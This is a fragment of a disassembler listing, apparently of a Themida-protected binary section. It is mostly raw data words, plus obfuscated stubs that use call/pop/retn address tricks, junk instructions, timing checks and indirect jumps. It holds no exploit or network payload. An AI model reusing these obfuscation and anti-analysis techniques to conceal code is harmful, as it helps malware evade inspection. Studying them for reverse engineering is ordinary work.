54895AC3h, 44810424h, 170424h, 52420000h, 0C783FDC3h dd 0E9958940h, 0F060B06h, 689h, 0C9958B00h, 8D060B18h dd 0B4D8485h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 4845D4AFh, 8B90BF0Dh, 8C0F50D7h dd 3, 90D78B66h, 0FF62F280h, 0B051995h, 0D2B70F06h, 7BCE8D8Dh dd 0FE8060Bh, 0B4000000h, 0D6196E3h, 99C157DEh, 1A3EF8DCh dd 0B5B4946h, 8D1174C0h, 0B4D9485h, 0D1FF5006h, 4DB28589h dd 0AEB060Bh, 4DB285C7h, 0FFFF060Bh, 8960FFFFh, 0B07A98Dh dd 25B50B06h, 61060B18h, 6092C280h, 101B58Bh, 8D8B060Bh dd 60B14A9h, 6A6161h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 477719C3h, 0B70FAF16h, 4585C6D6h dd 4D060B28h, 1A21958Bh, 4E8060Bh, 0A8000000h, 66A43576h dd 503454BBh, 424448Bh, 6E8h, 0D76F2E00h, 5081B866h, 5AD38B66h dd 0E8008B5Bh, 0Bh, 36BB74DAh, 6AC3A376h, 5076B6CAh, 0F5B5652h dd 5A616031h, 44895B58h, 0D38B0424h, 0F99D3158h, 0FF060B23h dd 0B27F5B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 0DE99753h, 4D000000h, 0FA5C0548h dd 96802BE6h, 0F1D0F570h, 8D62EF80h, 0E7D1885h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 6B99F6AEh, 869CF85Ah, 10E9h, 342CD100h, 3CFBC3C2h, 5694835Ch dd 819D1575h, 60D0FF7Fh, 901976B8h, 599D8B64h, 61060B2Eh dd 0BD98589h, 9D8B060Bh, 60B062Dh, 284585C6h, 0E945060Bh dd 0Ch, 0D253A88Eh, 0F551492h, 0EE2329ABh, 31799501h, 9A68060Bh dd 8112D3CCh, 9CCF2404h, 8D017B9Eh, 60B1B4Dh, 0B11B589h dd 0B5FF060Bh, 60B1355h, 7E8h, 7C7D5200h, 11598741h, 23059D01h dd 8D5B060Bh, 0E7D1885h, 14E906h, 0CD1A0000h, 0F6FE36D3h dd 711F11A9h, 0B40F18D2h, 60A957F6h, 0D0FFE5A8h, 0F819D8Bh dd 8589060Bh, 60B2F4Dh, 6860Fh, 95890000h, 60B27EDh, 12E8D28Bh dd 0DC000000h, 0C35560ACh, 0E4FB4B34h, 438B542Fh, 0AA3A1E1Dh dd 5A5060B3h, 665A61FCh, 6AD98Ch, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 0EEBCCCC3h, 8991F17Ah dd 0B009D95h, 4C1F606h, 24F840Fh, 0DE800000h, 10BE9EBh dd 89510000h, 0B0BBD95h, 60505B06h, 29D9D89h, 0BD01060Bh dd 60B0011h, 0B58B5B61h, 60B1F75h, 59D9D8Bh, 0C681060Bh dd 1180h, 0BE9h, 0EBD62500h, 274FF94Fh, 207CA66Ah, 1611BD83h dd 0F00060Bh, 2885h, 0C2816600h, 11B60D36h, 0AFE9h, 898D0900h dd 0E9060B18h, 11h, 988A8D6Ah, 58CC8F89h, 0C694F390h, 6B4D2DC2h dd 3E83CEh, 8A840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 80ACFCC3h, 0DDF4A341h dd 0AE903h, 0A67A0000h, 0C78221CCh, 0E0191F69h, 0CB80DA8Bh dd 958B600Dh, 60B0B7Dh, 13E9146Ah, 83000000h, 33683F5Eh dd 0C973E9A1h, 50C58AB8h, 0B8359A7Eh, 95FFF9E6h, 60B32DDh dd 19B1958Bh, 2B61060Bh, 0B021D95h, 9E806h, 1A860000h dd 0B4E3F2FEh, 0BA185F7Ah, 4CF3CAB2h, 0FF73E95Ah, 9D23FFFFh dd 60B01E9h, 106C7h, 0C2800000h, 7CBD8373h, 5060B4Dh, 12F850Fh dd 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 0FCA3C9C3h, 0ABEDAE7Eh, 0B58BD18Bh, 60B2F4Dh, 2098D89h dd 10E8060Bh, 2B000000h, 0A40052D7h, 47D786BBh, 6FD9A36h dd 5164D103h, 5A5A5B52h, 64B9h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 0AA065255h dd 39266FF7h, 0DDD958Bh, 0C281060Bh, 5CBE9A5Fh, 0A91E7BBh dd 0E83E8014h, 37840Fh, 10E80000h, 70000000h, 4B6BB8E0h dd 0B52BD1C0h, 749EF1B1h, 8B11E0DFh, 0B196D95h, 23E95B06h dd 0E8000000h, 0Ah, 2F33AECCh, 0EC99B16Dh, 0BD894976h dd 60B2B61h, 57E805Bh, 49840FC2h, 80000000h, 894644E2h dd 0B2879BDh, 850F4906h, 0FFFFFFA5h, 6890Fh, 958B0000h dd 60B0E95h, 40E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 0F1DCA04Ch, 858930C3h dd 60B1FD1h, 1881B589h, 0CE8060Bh, 1F000000h, 0E5C1ABA7h dd 78274D91h, 0F8EBD571h, 0BF0F585Ah, 89BD83DFh, 60B31h dd 101840Fh, 8C0F0000h, 6, 29DBD89h, 0B589060Bh, 60B0E01h dd 11E960h, 81360000h, 329DCC22h, 4B55B80Ah, 0B4972C7Ah dd 0C6E02A5Eh, 0B284585h, 6A5406h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 0FC831C3h, 5568D2BFh dd 66E662AFh, 81E15FBAh, 11A12434h, 11E8192Ch, 52000000h dd 2CC65677h, 325CBDC3h, 0DD0B1593h, 0E9933C0h, 15059533h dd 8B5A060Bh, 55B5FFDFh, 6A060B13h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 80D1C351h dd 9D03F78Ah, 60B00ADh, 7D18858Dh, 0B70F060Eh, 50D0FFDBh dd 5BC7CB80h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 97073DC3h, 6A53A0A9h, 0B531357Ah dd 60B12BDh, 3189B5FFh, 9D8B060Bh, 60B026Dh, 0EA81D0FFh dd 16323835h, 0A3D28161h, 0C7052B43h, 0B29BD85h, 106h dd 59BD8900h, 8B060B24h, 0B20E195h, 6A6006h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 6663A7C3h dd 829CC281h, 4E8h, 8000h, 2A9EBA00h, 5750554Ah, 310F5250h dd 8D0Fh, 585A0000h, 24448B5Ah, 8B008B04h, 244489D7h, 6A5804h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 7EE086C3h, 0F6C85FAAh, 0FF6A4103h, 0FFDF8B66h, 0B1BBD95h dd 31958B06h, 31060B0Dh, 0B291985h, 6A6106h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 313E51C3h dd 103329DBh, 81D7CA15h, 530DF8EAh, 0CE85051h, 94000000h dd 0BFC8EEFAh, 96E06E60h, 60F48190h, 4E2EBF66h, 4895B61h dd 0D38B6624h, 28E9858Bh, 8B66060Bh, 0FC00BDFh, 3A84h dd 59D8B00h, 0FF060B29h, 0B221D95h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 0C157DE0Dh dd 3EF8DC99h, 0B260461Ah, 0F1816684h, 0C761EE0Bh, 0B009185h dd 106h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 0F50AA1E2h, 88CEDF62h, 75BD83E4h dd 60B06h, 30840Fh, 9D330000h, 60B29B9h, 7DD95FFh, 6A060Bh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 6BD4B5C3h, 1C6792D7h, 0BD830DB4h, 60B0169h, 0F840F00h dd 81000000h, 50D96DDBh, 8995FF5Eh, 60060B1Ah, 0BD8361F5h dd 60B0155h, 35840F00h, 83000000h, 0B00B5BDh, 850F0006h dd 28h, 6595FFF5h, 6A060B0Fh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 1D1AC351h, 0E9A3E4AFh dd 29E9BD83h, 0F00060Bh, 2884h, 7D9D2300h, 81060B17h, 0B2A3585h dd 400306h, 0B5895200h, 60B1349h, 9985815Bh, 3060B12h dd 8B000040h, 0B114195h, 89310F06h, 0B1971B5h, 7F8D8D06h dd 6A060B5Dh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1C042444h, 42000000h, 0FA9DC352h, 5478947Dh, 8B9C6712h dd 8A0189D0h, 6AC233FDh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 4FAFC352h, 11E97Dh dd 0DD420000h, 0CE9C8071h, 0B74BD0CFh, 63CCA841h, 0E93594B8h dd 11h, 0A8BDB7E7h, 43FAE3B8h, 6E1DD302h, 0C4D450BBh, 4418962h dd 66310FFCh, 8D50ACBBh, 0B5D918Dh, 0CD952906h, 51060B05h dd 14E9h, 0E88B2B00h, 712244DEh, 5E4FBA7Fh, 8CF38853h dd 52BA98D5h, 1895B65h, 0C2333DB2h, 68B0Fh, 0BD010000h dd 60B163Dh, 57044189h, 5AD98B66h, 19870Fh, 0DE80000h dd 4B000000h, 3C5F7E8Fh, 30BF98C0h, 0C053D65Dh, 1B718D89h dd 835A060Bh, 0B0219BDh, 840F0006h, 7Dh, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 19h, 23C35040h, 0F7B80C12h dd 14E96Dh, 0D1640000h, 4A2B4047h, 7AF8285Fh, 0DD9E18DBh dd 0BCF94A75h, 9D8B8985h, 60B1839h, 10E9h, 0ECEFC600h dd 0E6AE296Ch, 7A496487h, 5380C92h, 0F995FFCCh, 6A060B0Fh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 313FC353h, 0B15F985h, 31BD8306h, 1060B28h dd 4B850Fh, 46E90000h, 9000000h, 0B0C55BDh, 26B58B06h dd 0C7060B5Fh, 6, 0D1B58B00h, 0C7060B5Ch, 6, 0AE9CF00h dd 0FE000000h, 0E6D53ACBh, 14D4E07Ch, 12E9E7h, 4D2A0000h dd 95195A32h, 0D644025Ah, 6C2E7C34h, 0E22247D3h, 91BD83FCh dd 60B00h, 16B840Fh, 3F50000h, 0B07C59Dh, 79BD8306h, 1060B32h dd 142850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 0C549D9C3h, 5632F19Dh, 0E8E4A40Bh dd 0Fh, 1F7DC7Eh, 27477EC7h, 95A3F052h, 80A5382Ch, 8B5ACEDEh dd 0B4D708Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1C04h, 0C3514100h, 0B37AA0BAh, 1F750089h, 8D2360B5h dd 60B04F5h, 29A1850Bh, 0C661060Bh, 6A0001h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 1024C8C3h dd 0BF0755FCh, 60DF8BE9h, 158D9D8Bh, 4E8060Bh, 80000000h dd 0F000000h, 0A8Fh, 7AB06000h, 850Fh, 50610000h, 8BD68B66h dd 0B7042444h, 0B6008B50h, 2444890Eh, 4115BA04h, 89581D36h dd 0B039985h, 8BFF6A06h, 0B321D95h, 0BD95FF06h, 29060B1Bh dd 0B12959Dh, 6A6106h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 79F2CCC3h, 92CE099Bh, 0D7BF0F38h dd 2B3D95FFh, 958B060Bh, 60B0951h, 6890Fh, 958B0000h, 60B29D5h dd 4D708D8Bh, 0B589060Bh, 60B280Dh, 0B50101FEh, 60B03B9h dd 0CDBD83h, 0F01060Bh, 885h, 95095300h, 60B0E4Dh, 0B2C08B5Bh dd 0BDBD8381h, 60B05h, 0BD830975h, 60B29D1h, 501A7400h dd 8BC08B53h, 0B2A3585h, 35858906h, 8D060B2Ah, 0DB31A9Dh dd 5BD3FF06h, 0D1BD8358h, 60B29h, 53501874h, 2A35858Bh dd 8589060Bh, 60B2A35h, 0B0099D8Dh dd 0D3FF060Dh, 6A585Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 8B7C3FC3h, 7899D8Bh, 8166060Bh dd 0E9C555DAh, 6, 0ED030293h, 0C08B39EEh, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Bh, 14C35242h, 0C3C4E3C2h dd 0FA3F5D5h, 48Fh, 0F38A5100h, 9D9D895Bh, 83060B0Dh, 0B0091BDh dd 850F0006h, 33h, 145F55BAh, 0E9BD8344h, 60B14h, 21840Fh dd 5E80000h, 0EE000000h, 32D5AED6h, 11E9h, 78812C00h, 0B6E7C53Bh dd 0B772D309h, 920399DEh, 835ABA1Bh, 0B0091BDh, 840F0006h dd 18h, 60E38166h, 5BD8385h, 60B28h, 6840Fh, 958B0000h dd 60B283Dh, 91BD83h, 0F00060Bh, 3984h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 0B0E8DDA3h, 8D9D8B7Eh, 83060B24h, 0B2805BDh, 840F0006h dd 6, 3B59D29h, 0BD83060Bh, 60B0091h, 38840F00h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h dd 40000000h, 24E2C350h, 0BD8320A2h, 60B2EF1h, 0C840F00h dd 0F000000h, 68Ch, 0F18D0100h, 83060B00h, 0B0091BDh, 840F0006h dd 40h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h dd 0FEC35545h, 0B29E1995h, 5DBD8324h, 60B2Eh, 12840Fh dd 9D8B0000h, 60B31C9h, 2ADD95FFh, 0B531060Bh, 60B0399h dd 860FC08Bh, 5, 2BE28166h, 0BDBD83FDh, 60B05h, 0BD830975h dd 60B29D1h, 501A7400h, 8BC08B53h, 0B129985h, 99858906h dd 8D060B12h, 0DB3819Dh, 5BD3FF06h, 0D1BD8358h, 60B29h dd 53501874h, 1299858Bh, 8589060Bh, 60B1299h, 0B0229D8Dh dd 0D3FF060Dh, 0BB66585Bh, 6AC55Fh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 150424h, 52420000h, 8B67C6C3h dd 0B011195h, 6AC08B06h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 4F4AC356h, 7F4ACBEEh dd 1815B589h, 0BD83060Bh, 60B0091h, 0E840F00h, 0F000005h dd 0B8Ah, 0E7806000h, 7DBD8BF7h, 61060B2Ah, 1FDDBD83h dd 0F02060Bh, 1984h, 0E99D0100h, 83060B0Eh, 0B2831BDh dd 850F0106h, 6, 18459D89h, 0BD83060Bh, 60B1FF9h, 0FA840F00h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 217CC355h, 4C549212h, 60FCDA5Dh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 5BC35242h dd 12E538ECh, 896FAA2Eh, 0B1379BDh, 8BB9B706h, 0B4D708Dh dd 51958B06h, 0FE060B0Fh, 0E8C4B201h, 4, 80h, 50DE8B66h dd 448B90B2h, 85B30424h, 8D0F008Bh, 0Ah, 61605250h, 6160310Fh dd 4489585Ah, 6A580424h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 89DAC351h, 0B24158Dh dd 2CDA8006h, 7E8h, 3EB89D00h, 6F128CDAh, 6860Fh, 0B5890000h dd 60B05EDh, 0B3FF6A5Bh, 0BD95FFEBh, 1060B1Bh, 0B05F195h dd 6A6106h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h dd 51410000h, 0ECE74BC3h, 8D8B60FCh, 60B4D70h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 5CC35242h, 0CF740EF9h dd 3810Fh, 0CB800000h, 6A01FEFFh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 288DC357h dd 0B59D2396h, 80060B1Fh, 12E920D3h, 22000000h, 9C335550h dd 9B1260F3h, 0CBF8FF68h, 0C36CFE6Ch, 55EA687Dh, 13E8500Dh dd 48000000h, 0B9EB988Ch, 7943471Ah, 1737186Ah, 4639BEC8h dd 0FE9562Eh, 55000000h, 0B6DCAF45h, 0C9A0FF60h, 0DFE6FDFh dd 815B4DA5h, 556A2434h, 6A500Dh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 7B48F3C3h, 0BACA461Dh dd 0BE9F8h, 507E0000h, 980CF291h, 9FBC6B6Bh, 23FF6A43h dd 0B2A5195h, 0BD95FF06h, 0F5060B1Bh, 53006A61h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 90560913h, 8D0E1CC1h, 0B043DBDh, 0EC76BB06h, 890F383Ch dd 0Fh, 7E853h, 74BC0000h, 8B982CF5h, 8B5B5BE7h, 958B1C4Fh dd 60B1871h, 9D8B016Ah, 60B0EE9h, 56525050h, 7E8h, 665FE800h dd 6A0BCCB0h, 310F5B5Bh, 48B0Fh, 0BB660000h, 585A8452h dd 33240C89h, 0B179595h, 0CA858D06h, 6A060E3Eh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 7877C353h, 8D1D00A1h, 0BA5163F3h, 41C22ACCh, 3870Fh dd 0CB800000h, 29D0FF26h, 0B218D9Dh, 204F8B06h, 840Fh dd 80530000h, 6A5A11F3h, 0C5952903h, 89060B29h, 0B0C35B5h dd 8B665006h, 240C89D9h, 12E9h, 4D15E500h, 0E3CA79E3h dd 0BEB6024Ch, 0F7A041Fh, 8D6E8D06h, 0E3ECA85h, 65952906h dd 0FF060B13h, 0F5958BD0h, 8B060B03h, 0B31ED9Dh, 3DBD8D06h dd 6A060B04h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1C042444h, 41000000h, 0F51C351h, 0E2C96D77h, 89147D7Ah dd 0B0741BDh, 8BE1B606h, 85891C4Fh, 60B19EDh, 0CD950960h dd 0E9060B08h, 0Fh, 0FEBB7CCFh, 80FACEA1h, 0BE6B5D8Fh dd 61F210FAh, 6A016Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 8F0FAEC3h, 6, 3339B531h, 0E850060Bh dd 14h, 5521C9CAh, 4459708Ah, 0CC2C8927h, 9BF943C7h, 0BE0C1889h dd 0AE952h, 43820000h, 0CA0D95CAh, 7629243Fh, 0C895A5Bh dd 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 8166C6B8h, 8D1285F3h, 0E3ECA85h, 0C0BB6606h dd 619589F0h, 0FF060B28h, 8FBB66D0h, 59CFBB29h, 4F8B2EF3h dd 71958B20h, 6A060B17h, 0E9DF8B03h, 0Ah, 0B0140F78h, 86124D8Ah dd 0E8919598h, 0Bh, 955E3966h, 7BB7B5F9h, 6625A982h, 5B37D1BBh dd 912BB750h, 0CA858DF5h, 0F060E3Eh, 686h, 498D8900h, 66060B27h dd 69DCD281h, 9D89D0FFh, 60B31B1h, 4D708D8Bh, 9589060Bh dd 60B1069h, 952B01FEh, 60B0E1Dh, 4D70858Bh, 6A060Bh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 3F1BDDC3h, 12E9h, 66066600h, 5D4F0FB9h, 3A3627ABh, 70E89D12h dd 60A701D7h, 8DBD0156h, 58060B22h, 0D19D2950h, 5E060B27h dd 6600FE61h, 16ADA8Bh, 5F6F68F5h, 0DE8A90A3h, 90243481h dd 8B6F5CC0h, 0B0B399Dh, 0D4858D06h, 81060E3Eh, 5336DCF3h dd 3D0FF53h, 0B249D9Dh, 0E9BD8306h, 60B14h, 105840Fh, 10E90000h dd 60000000h, 0E9D09D8Ah, 0BC34961Ch, 952B7136h, 83E56A84h dd 0B0B19BDh, 850F0106h, 0E3h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 54C35343h, 382E90FDh, 0C19D8BC7h dd 8D060B02h, 0E3EDE8Dh, 0CE9CBB06h, 14E85AAFh, 3F000000h dd 90D43CB3h, 9CC110FFh, 33EC0439h, 6F6D1505h, 80F976DCh dd 6A5A6CCBh, 0E2B06003h, 16799589h, 6A61060Bh, 56006A01h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 0D1FFC926h, 5ED8D89h, 16A060Bh, 0DE9h, 8EF9DC00h, 0BB7CCFAAh dd 0FACEA1FEh, 16A8F80h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 92C35040h, 0E59D8929h, 80060B0Ah, 0D1FFC0E7h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 1FC35040h dd 505BD7E8h, 6AFC8AFAh, 94E38120h, 6A5BB792h, 69C380FFh dd 1BBD95FFh, 8F0F060Bh, 3, 0B8D08B66h, 0 ; --------------------------------------------------------------------------- mov [ebp+60B2DF1h], esi or eax, eax jz loc_542ACF sub [ebp+60B1969h], ebx cmp dword ptr [ebp+60B2F21h], 0 jz loc_542ACF mov dx, 6BE3h call dword ptr [ebp+60B101Dh] push 0 push edi call sub_542AB2 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_542AB2 proc near ; CODE XREF: Themida_:00542AAAp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh inc edi push edi retn sub_542AB2 endp ; --------------------------------------------------------------------------- dw 0EF5Fh dd 77AFA6AFh, 0FEBB558Dh db 0BAh, 0Fh, 2Ah ; --------------------------------------------------------------------------- loc_542ACF: ; CODE XREF: Themida_:00542A84j ; Themida_:00542A97j mov eax, [ebp+60B2EC5h] mov bx, 5E56h mov byte ptr [eax], 0 movsx ebx, dx push ecx mov bl, 13h pop ebx pop eax stc mov cx, ds push 0 push eax call sub_542AF3 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_542AF3 proc near ; CODE XREF: Themida_:00542AEBp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_542AF3 endp ; --------------------------------------------------------------------------- retf 7961h ; --------------------------------------------------------------------------- dw 0BD68h dd 0BEEA80A3h, 0F04C1F6h, 5E84h, 69D78000h, 56E9h, 0BE900h dd 0BAC10000h, 0AE88C8B1h, 0AC8F6917h, 75B58BA5h, 0E8060B1Fh dd 5, 0C50CD5A8h, 5B40B3A2h, 1180C681h, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 0E5D744C3h, 19B88E57h, 0C7DF8BDBh, 6, 5EF48A00h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0D8C35141h, 85897599h dd 60B2479h, 531BD89h, 0EE80060Bh, 0F883D6h, 0BA3840Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 0C7BC73C3h, 45F3EF73h, 0F883BEBDh, 0B9850F01h dd 6A000001h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 0F17C350h, 682h, 65B58900h, 0B8060B0Ch dd 0 ; --------------------------------------------------------------------------- add [ebp+60B2ED5h], ecx or eax, eax jz loc_542CFF push 0 push edx call sub_542C1D and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_542C1D proc near ; CODE XREF: Themida_:00542C15p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_542C1D endp ; --------------------------------------------------------------------------- sbb al, 6Eh jmp loc_542C44 ; --------------------------------------------------------------------------- dd 62DC1B9Ch, 0AEBA7C40h, 0E0997DF1h, 0F59ABE0Bh ; --------------------------------------------------------------------------- loc_542C44: ; CODE XREF: Themida_:00542C2Fj mov [ebp+60B00C1h], edi cmp eax, 1 jz loc_542D1F mov bx, 25EBh push edx push esi mov edx, 7BAEBAA8h pop edx pop edx cmp eax, 3 jz loc_542CA8 sub [ebp+60B093Dh], ebx sub eax, eax push 0 push ebx call sub_542C7C and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_542C7C proc near ; CODE XREF: Themida_:00542C74p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_542C7C endp ; --------------------------------------------------------------------------- and ebp, [esi+4CE839B8h] adc [edi+ebx+0Ah], eax lea edi, dword_5B7974[ebp] mov bx, 9361h jmp edi ; --------------------------------------------------------------------------- mov ebx, [ebp+60B0C41h] loc_542CA8: ; CODE XREF: Themida_:00542C63j ; Themida_:00542DF4j mov eax, 1 push 0 push edi call sub_542CB8 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_542CB8 proc near ; CODE XREF: Themida_:00542CB0p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Dh inc edi push edi retn sub_542CB8 endp ; --------------------------------------------------------------------------- dd 2BF7B62Dh, 7E0AF023h, 0BE92AACh, 0D5000000h, 5AA0DA9Ah dd 9D4E5BAFh, 0BB665F8Ch, 0BD8D8CB2h, 5B7974h, 2B02CABBh dd 7D958929h, 0FF060B17h, 0B1BD89E7h db 15h, 0Bh, 6 ; --------------------------------------------------------------------------- loc_542CFF: ; CODE XREF: Themida_:00542C0Cj lea edi, [ebp+60B43FCh] and bh, 4Fh jmp loc_542FBF ; --------------------------------------------------------------------------- mov [ebp+60B0439h], esi jbe loc_542D1F mov [ebp+60B0945h], ecx loc_542D1F: ; CODE XREF: Themida_:00542C4Dj ; Themida_:00542D13j ... mov dword ptr [ebp+60B4DCBh], 5 push 0 push ebp call sub_542D34 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_542D34 proc near ; CODE XREF: Themida_:00542D2Cp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_542D34 endp ; --------------------------------------------------------------------------- dd 0B4F4AC50h, 9D8B2CB7h, 60B029Dh, 10880Fh, 0BE90000h dd 0A0000000h, 1106ABF6h, 936DF13Eh, 5B8033Eh, 0F000000h dd 1680h, 0BE800h, 5D9F0000h, 154AB9BBh, 0AF4668FCh, 0B707BB17h dd 0E95B35FEh, 93Fh, 2A86BB66h, 0F02F883h, 10085h, 619D8B00h dd 0B8060B1Ah, 0 ; --------------------------------------------------------------------------- push 0 push ebp call sub_542DAF and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_542DAF proc near ; CODE XREF: Themida_:00542DA7p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_542DAF endp ; --------------------------------------------------------------------------- jnp short near ptr loc_542E0A+7 adc al, 13h jmp loc_542DD1 ; --------------------------------------------------------------------------- dd 4D40991Dh, 0D80FEC60h db 0ECh ; --------------------------------------------------------------------------- loc_542DD1: ; CODE XREF: Themida_:00542DC3j mov edx, 6085A173h or eax, eax jz loc_542E65 mov edx, eax cmp eax, 1 jz loc_542D1F mov ebx, esi mov [ebp+60B244Dh], esi cmp eax, 3 jz loc_542CA8 push 0 push eax call sub_542E05 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_542E05 proc near ; CODE XREF: Themida_:00542DFDp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax loc_542E0A: ; CODE XREF: Themida_:00542DBFj add [esp-4+arg_4], 1Ch inc eax push eax retn sub_542E05 endp ; --------------------------------------------------------------------------- db 0E5h, 0FAh, 0F5h ; --------------------------------------------------------------------------- rcl ah, cl pop esi retf 8722h ; --------------------------------------------------------------------------- mov ebx, [ebp+60B2471h] mov eax, 0 mov [ebp+60B1861h], edx lea edi, dword_5B7974[ebp] pusha mov ch, 1Ah popa jmp edi ; --------------------------------------------------------------------------- push 0 push esi call sub_542E46 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_542E46 proc near ; CODE XREF: Themida_:00542E3Ep arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ch inc esi push esi retn sub_542E46 endp ; --------------------------------------------------------------------------- dw 729Bh dd 9749AB6Fh, 1B251ABh, 0B29ED95h ; --------------------------------------------------------------------------- push es loc_542E65: ; CODE XREF: Themida_:00542DD8j lea edi, [ebp+60B45F4h] sub [ebp+60B05B1h], edi jmp loc_542FBF ; --------------------------------------------------------------------------- push 0 push edx call sub_542E81 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_542E81 proc near ; CODE XREF: Themida_:00542E79p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Bh inc edx push edx retn sub_542E81 endp ; --------------------------------------------------------------------------- db 4Dh, 0CDh, 0BCh dd 99E0D719h, 3F883ADh, 21850Fh, 0BF0F0000h, 88BD8DD1h dd 80060B47h, 0CE906C3h, 29000001h, 0B19799Dh, 4890F06h dd 66000000h, 83637BBBh, 850F05F8h, 2Dh, 0E321C7BBh, 7F5E917h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 0DA336BC3h, 0BF0F30EFh, 6F883D2h, 1F850Fh dd 0BD890000h, 